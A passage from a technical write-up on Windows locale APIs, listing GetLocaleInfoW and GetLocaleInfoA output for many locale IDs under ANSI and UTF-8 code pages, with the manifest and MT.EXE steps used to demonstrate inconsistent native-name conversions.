0x0000045D LANGUAGE GetLocaleInfoW = 7: ᐃᓄᒃᑎᑐᑦ UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000045B COUNTRY GetLocaleInfoW = 11: ශ්රී ලංකා UTF16LE » ANSI = 9: ??? ???? GetLocaleInfoA = 11: ????? ???? ANSI » UTF16LE = 11: ????? ???? 0x0000045B LANGUAGE GetLocaleInfoW = 5: සිංහ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000045A COUNTRY GetLocaleInfoW = 6: سوريا UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000045A LANGUAGE GetLocaleInfoW = 7: ܣܘܪܝܝܐ UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000457 DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000457 COUNTRY GetLocaleInfoW = 5: भारत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000457 LANGUAGE GetLocaleInfoW = 7: कोंकणी UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000454 DIGITS GetLocaleInfoW = 11: ໐໑໒໓໔໕໖໗໘໙ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000454 COUNTRY GetLocaleInfoW = 11: ສ.ປ.ປ. ລາວ UTF16LE » ANSI = 11: ?.?.?. ??? GetLocaleInfoA = 11: ?.?.?. ??? ANSI » UTF16LE = 11: ?.?.?. ??? 0x00000454 LANGUAGE GetLocaleInfoW = 4: ລາວ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 4: ??? ANSI » UTF16LE = 4: ??? 0x00000453 DIGITS GetLocaleInfoW = 11: ០១២៣៤៥៦៧៨៩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000453 COUNTRY GetLocaleInfoW = 8: កម្ពុជា UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000453 LANGUAGE GetLocaleInfoW = 6: ខ្មែរ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000451 COUNTRY GetLocaleInfoW = 35: ཀྲུང་ཧྭ་མི་དམངས་སྤྱི་མཐུན་རྒྱལ་ཁབ། UTF16LE » ANSI = 25: ???????????????????????? GetLocaleInfoA = 35: ?????????????????????????????????? ANSI » UTF16LE = 35: ?????????????????????????????????? 0x00000451 LANGUAGE GetLocaleInfoW = 8: བོད་ཡིག UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00007C50 COUNTRY GetLocaleInfoW = 36: ᠪᠦᠭᠦᠳᠡ ᠨᠠᠢᠷᠠᠮᠳᠠᠬᠤ ᠳᠤᠮᠳᠠᠳᠤ ᠠᠷᠠᠳ ᠣᠯᠣᠰ UTF16LE » ANSI = 36: ?????? ?????????? ??????? ???? ???? GetLocaleInfoA = 36: ?????? ?????????? ??????? ???? ???? ANSI » UTF16LE = 36: ?????? ?????????? ??????? ???? ???? 0x00007C50 LANGUAGE GetLocaleInfoW = 13: ᠮᠤᠨᠭᠭᠤᠯ ᠬᠡᠯᠡ UTF16LE » ANSI = 13: ??????? ???? GetLocaleInfoA = 13: ??????? ???? ANSI » UTF16LE = 13: ??????? ???? 0x00000850 COUNTRY GetLocaleInfoW = 36: ᠪᠦᠭᠦᠳᠡ ᠨᠠᠢᠷᠠᠮᠳᠠᠬᠤ ᠳᠤᠮᠳᠠᠳᠤ ᠠᠷᠠᠳ ᠣᠯᠣᠰ UTF16LE » ANSI = 36: ?????? ?????????? ??????? ???? ???? GetLocaleInfoA = 36: ?????? ?????????? ??????? ???? ???? ANSI » UTF16LE = 36: ?????? ?????????? ??????? ???? ???? 0x00000850 LANGUAGE GetLocaleInfoW = 13: ᠮᠤᠨᠭᠭᠤᠯ ᠬᠡᠯᠡ UTF16LE » ANSI = 13: ??????? ???? GetLocaleInfoA = 13: ??????? ???? ANSI » UTF16LE = 13: ??????? ???? 0x0000044F DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044F COUNTRY GetLocaleInfoW = 7: भारतम् UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000044F LANGUAGE GetLocaleInfoW = 8: संस्कृत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x0000044E DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044E COUNTRY GetLocaleInfoW = 5: भारत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000044E LANGUAGE GetLocaleInfoW = 6: मराठी UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000044D DIGITS GetLocaleInfoW = 11: ০১২৩৪৫৬৭৮৯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044D COUNTRY GetLocaleInfoW = 5: ভাৰত UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000044D LANGUAGE GetLocaleInfoW = 7: অসমীয়া UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000044C DIGITS GetLocaleInfoW = 11: ൦൧൨൩൪൫൬൭൮൯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044C COUNTRY GetLocaleInfoW = 6: ഭാരതം UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000044C LANGUAGE GetLocaleInfoW = 7: മലയാളം UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000044B DIGITS GetLocaleInfoW = 11: ೦೧೨೩೪೫೬೭೮೯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044B COUNTRY GetLocaleInfoW = 5: ಭಾರತ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000044B LANGUAGE GetLocaleInfoW = 6: ಕನ್ನಡ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000044A DIGITS GetLocaleInfoW = 11: ౦౧౨౩౪౫౬౭౮౯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044A COUNTRY GetLocaleInfoW = 10: భారత దేశం UTF16LE » ANSI = 8: ??? ??? GetLocaleInfoA = 10: ???? ???? ANSI » UTF16LE = 10: ???? ???? 0x0000044A LANGUAGE GetLocaleInfoW = 7: తెలుగు UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000449 DIGITS GetLocaleInfoW = 11: ௦௧௨௩௪௫௬௭௮௯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000449 COUNTRY GetLocaleInfoW = 8: இந்தியா UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000449 LANGUAGE GetLocaleInfoW = 6: தமிழ் UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000448 DIGITS GetLocaleInfoW = 11: ୦୧୨୩୪୫୬୭୮୯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000448 COUNTRY GetLocaleInfoW = 5: ଭାରତ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000448 LANGUAGE GetLocaleInfoW = 5: ଓଡ଼ିଆ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000447 DIGITS GetLocaleInfoW = 11: ૦૧૨૩૪૫૬૭૮૯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000447 COUNTRY GetLocaleInfoW = 5: ભારત UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000447 LANGUAGE GetLocaleInfoW = 8: ગુજરાતી UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000446 DIGITS GetLocaleInfoW = 11: ੦੧੨੩੪੫੬੭੮੯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000446 COUNTRY GetLocaleInfoW = 5: ਭਾਰਤ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000446 LANGUAGE GetLocaleInfoW = 7: ਪੰਜਾਬੀ UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000845 DIGITS GetLocaleInfoW = 11: ০১২৩৪৫৬৭৮৯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000845 COUNTRY GetLocaleInfoW = 9: বাংলাদেশ UTF16LE » ANSI = 9: ???????? GetLocaleInfoA = 9: ???????? ANSI » UTF16LE = 9: ???????? 0x00000845 LANGUAGE GetLocaleInfoW = 6: বাংলা UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000445 DIGITS GetLocaleInfoW = 11: ০১২৩৪৫৬৭৮৯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000445 COUNTRY GetLocaleInfoW = 5: ভারত UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000445 LANGUAGE GetLocaleInfoW = 6: বাংলা UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000043F COUNTRY GetLocaleInfoW = 10: Қазақстан UTF16LE » ANSI = 10: ????????? GetLocaleInfoA = 10: ????????? ANSI » UTF16LE = 10: ????????? 0x0000043F LANGUAGE GetLocaleInfoW = 6: Қазақ UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000743B LANGUAGE GetLocaleInfoW = 11: sääm´ǩiõll UTF16LE » ANSI = 11: sääm´?iõll GetLocaleInfoA = 11: sääm´kiõll ANSI » UTF16LE = 11: sääm´kiõll 0x0000203B LANGUAGE GetLocaleInfoW = 11: sääm´ǩiõll UTF16LE » ANSI = 11: sääm´?iõll GetLocaleInfoA = 11: sääm´kiõll ANSI » UTF16LE = 11: sääm´kiõll 0x0000083B COUNTRY GetLocaleInfoW = 7: Ruoŧŧa UTF16LE » ANSI = 7: Ruo??a GetLocaleInfoA = 7: Ruotta ANSI » UTF16LE = 7: Ruotta 0x00000439 COUNTRY GetLocaleInfoW = 5: भारत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000439 LANGUAGE GetLocaleInfoW = 6: हिंदी UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000437 COUNTRY GetLocaleInfoW = 11: საქართველო UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000437 LANGUAGE GetLocaleInfoW = 8: ქართული UTF16LE » ANSI = 8: ??????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00007C2E LANGUAGE GetLocaleInfoW = 15: dolnoserbšćina UTF16LE » ANSI = 15: dolnoserb?ina GetLocaleInfoA = 15: dolnoserbcina ANSI » UTF16LE = 15: dolnoserbšcina 0x0000082E LANGUAGE GetLocaleInfoW = 15: dolnoserbšćina UTF16LE » ANSI = 15: dolnoserb?ina GetLocaleInfoA = 15: dolnoserbcina ANSI » UTF16LE = 15: dolnoserbšcina 0x0000042E COUNTRY GetLocaleInfoW = 7: Němska UTF16LE » ANSI = 7: N?mska GetLocaleInfoA = 7: Nemska ANSI » UTF16LE = 7: Nemska 0x0000042E LANGUAGE GetLocaleInfoW = 16: hornjoserbšćina UTF16LE » ANSI = 16: hornjoserb?ina GetLocaleInfoA = 16: hornjoserbcina ANSI » UTF16LE = 16: hornjoserbšcina 0x0000782C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » ANSI = 11: Az?rbaycan GetLocaleInfoA = 11: Az?rbaycan ANSI » UTF16LE = 11: Az?rbaycan 0x0000782C LANGUAGE GetLocaleInfoW = 15: Azərbaycanılı UTF16LE » ANSI = 15: Az?rbaycanýlý GetLocaleInfoA = 15: Az?rbaycanýlý ANSI » UTF16LE = 15: Az?rbaycanılı 0x0000742C COUNTRY GetLocaleInfoW = 11: Азәрбајҹан UTF16LE » ANSI = 11: Àç?ðáà¼?àí GetLocaleInfoA = 11: Àç?ðáà¼?àí ANSI » UTF16LE = 11: Аз?рбај?ан 0x0000742C LANGUAGE GetLocaleInfoW = 16: Азәрбајҹан дили UTF16LE » ANSI = 16: Àç?ðáà¼?àí äèëè GetLocaleInfoA = 16: Àç?ðáà¼?àí äèëè ANSI » UTF16LE = 16: Аз?рбај?ан дили 0x0000082C COUNTRY GetLocaleInfoW = 11: Азәрбајҹан UTF16LE » ANSI = 11: Àç?ðáà¼?àí GetLocaleInfoA = 11: Àç?ðáà¼?àí ANSI » UTF16LE = 11: Аз?рбај?ан 0x0000082C LANGUAGE GetLocaleInfoW = 16: Азәрбајҹан дили UTF16LE » ANSI = 16: Àç?ðáà¼?àí äèëè GetLocaleInfoA = 16: Àç?ðáà¼?àí äèëè ANSI » UTF16LE = 16: Аз?рбај?ан дили 0x0000042C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » ANSI = 11: Az?rbaycan GetLocaleInfoA = 11: Az?rbaycan ANSI » UTF16LE = 11: Az?rbaycan 0x0000042C LANGUAGE GetLocaleInfoW = 15: Azərbaycanılı UTF16LE » ANSI = 15: Az?rbaycanýlý GetLocaleInfoA = 15: Az?rbaycanýlý ANSI » UTF16LE = 15: Az?rbaycanılı 0x0000042B COUNTRY GetLocaleInfoW = 9: Հայաստան UTF16LE » ANSI = 9: ???????? GetLocaleInfoA = 9: ???????? ANSI » UTF16LE = 9: ???????? 0x0000042B LANGUAGE GetLocaleInfoW = 8: Հայերեն UTF16LE » ANSI = 8: ??????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x0000042A COUNTRY GetLocaleInfoW = 9: Việt Nam UTF16LE » ANSI = 9: Vi?t Nam GetLocaleInfoA = 9: Vi?t Nam ANSI » UTF16LE = 9: Vi?t Nam 0x0000042A LANGUAGE GetLocaleInfoW = 12: Tiếng Việt UTF16LE » ANSI = 11: Ti?ng Vi?t GetLocaleInfoA = 12: Tiêìng Vi?t ANSI » UTF16LE = 12: Tiếng Vi?t 0x00000429 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000429 COUNTRY GetLocaleInfoW = 6: ایران UTF16LE » ANSI = 6: Ç?ÑÇä GetLocaleInfoA = 6: ÇíÑÇä ANSI » UTF16LE = 6: ايران 0x00007C28 COUNTRY GetLocaleInfoW = 11: Тоҷикистон UTF16LE » ANSI = 11: Òî?èêèñòîí GetLocaleInfoA = 11: Òî?èêèñòîí ANSI » UTF16LE = 11: То?икистон 0x00007C28 LANGUAGE GetLocaleInfoW = 7: Тоҷикӣ UTF16LE » ANSI = 7: Òî?èê? GetLocaleInfoA = 7: Òî?èê? ANSI » UTF16LE = 7: То?ик? 0x00000428 COUNTRY GetLocaleInfoW = 11: Тоҷикистон UTF16LE » ANSI = 11: Òî?èêèñòîí GetLocaleInfoA = 11: Òî?èêèñòîí ANSI » UTF16LE = 11: То?икистон 0x00000428 LANGUAGE GetLocaleInfoW = 7: Тоҷикӣ UTF16LE » ANSI = 7: Òî?èê? GetLocaleInfoA = 7: Òî?èê? ANSI » UTF16LE = 7: То?ик? 0x00000420 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000420 LANGUAGE GetLocaleInfoW = 6: اُردو UTF16LE » ANSI = 5: ?ÑÏæ GetLocaleInfoA = 6: ÇõÑÏæ ANSI » UTF16LE = 6: اُردو 0x00004001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789Note: here the output of substitution characters
?
is expected normal behaviour!
OOPS: just for the 3 LCType
parameter
values
LOCALE_SNATIVECTRYNAME
,
LOCALE_SNATIVECURRENCY
and
LOCALE_SNATIVELANGNAME
,
the output from both forms of the
GetLocaleInfo()
function differs in 128 cases!
Create the text file quirk36.xml
with the following
content next to the console application quirk36.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk36' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk36 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk36.xml
created in step 4. in the console
application quirk36.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk36.xml /OUTPUTRESOURCE:quirk36.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk36.exe
modified in
step 5. to demonstrate the (mis)behaviour:
VER .\quirk36.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] 0x000009FF DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 0x000009FF COUNTRY GetLocaleInfoW = 22: [Ρšеϋďŏ Мīґґθřėď !!!] UTF16LE » UTF8 = 36: [Ρšеϋďŏ Мīґґθřėď !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] UTF8 » UTF16LE = 22: [?????? ???????? !!!] 0x000009FF LANGUAGE GetLocaleInfoW = 22: [Рѕёůđó Ľαʼnġџåģе !!!] UTF16LE » UTF8 = 36: [Рѕёůđó Ľαʼnġџåģе !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] UTF8 » UTF16LE = 22: [?????? ???????? !!!] MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x000005FE MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x000005FE MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000901 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000501 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000501 0x00007C92 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C92 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C92 0x00000492 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000492 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000492 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000491 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000491 0x0000048C DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000048C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000048C 0x00007C86 LANGUAGE GetLocaleInfoW = 8: Kʼicheʼ UTF16LE » UTF8 = 10: Kʼicheʼ GetLocaleInfoA = 8: K'iche' UTF8 » UTF16LE = 8: K'iche' 0x00000486 LANGUAGE GetLocaleInfoW = 8: Kʼicheʼ UTF16LE » UTF8 = 10: Kʼicheʼ GetLocaleInfoA = 8: K'iche' UTF8 » UTF16LE = 8: K'iche' MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000485 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000485 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000484 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000484 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000482 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000480 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000480 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000047E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000047C 0x00000475 COUNTRY GetLocaleInfoW = 20: ʻAmelika Hui Pū ʻIa UTF16LE » UTF8 = 23: ʻAmelika Hui Pū ʻIa GetLocaleInfoA = 20: ?Amelika Hui Pu ?Ia UTF8 » UTF16LE = 20: ?Amelika Hui Pu ?Ia 0x00000475 LANGUAGE GetLocaleInfoW = 15: ʻŌlelo Hawaiʻi UTF16LE » UTF8 = 18: ʻŌlelo Hawaiʻi GetLocaleInfoA = 15: ?Olelo Hawai?i UTF8 » UTF16LE = 15: ?Olelo Hawai?i MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000474 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000474 0x00000470 COUNTRY GetLocaleInfoW = 9: Naịjịrịa UTF16LE » UTF8 = 15: Naịjịrịa GetLocaleInfoA = 9: Na?j?r?a UTF8 » UTF16LE = 9: Na?j?r?a MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C6B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000466 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000462 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C5F 0x00007C5F LANGUAGE GetLocaleInfoW = 18: Tamaziɣt n laṭlaṣ UTF16LE » UTF8 = 23: Tamaziɣt n laṭlaṣ GetLocaleInfoA = 18: Tamazi?t n la?la? UTF8 » UTF16LE = 18: Tamazi?t n la?la? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000085F 0x0000085F LANGUAGE GetLocaleInfoW = 18: Tamaziɣt n laṭlaṣ UTF16LE » UTF8 = 23: Tamaziɣt n laṭlaṣ GetLocaleInfoA = 18: Tamazi?t n la?la? UTF8 » UTF16LE = 18: Tamazi?t n la?la? 0x0000045F DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000045F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000045F 0x00007C59 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C59 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C59 0x00000859 DIGITS GetLocaleInfoW = 11: 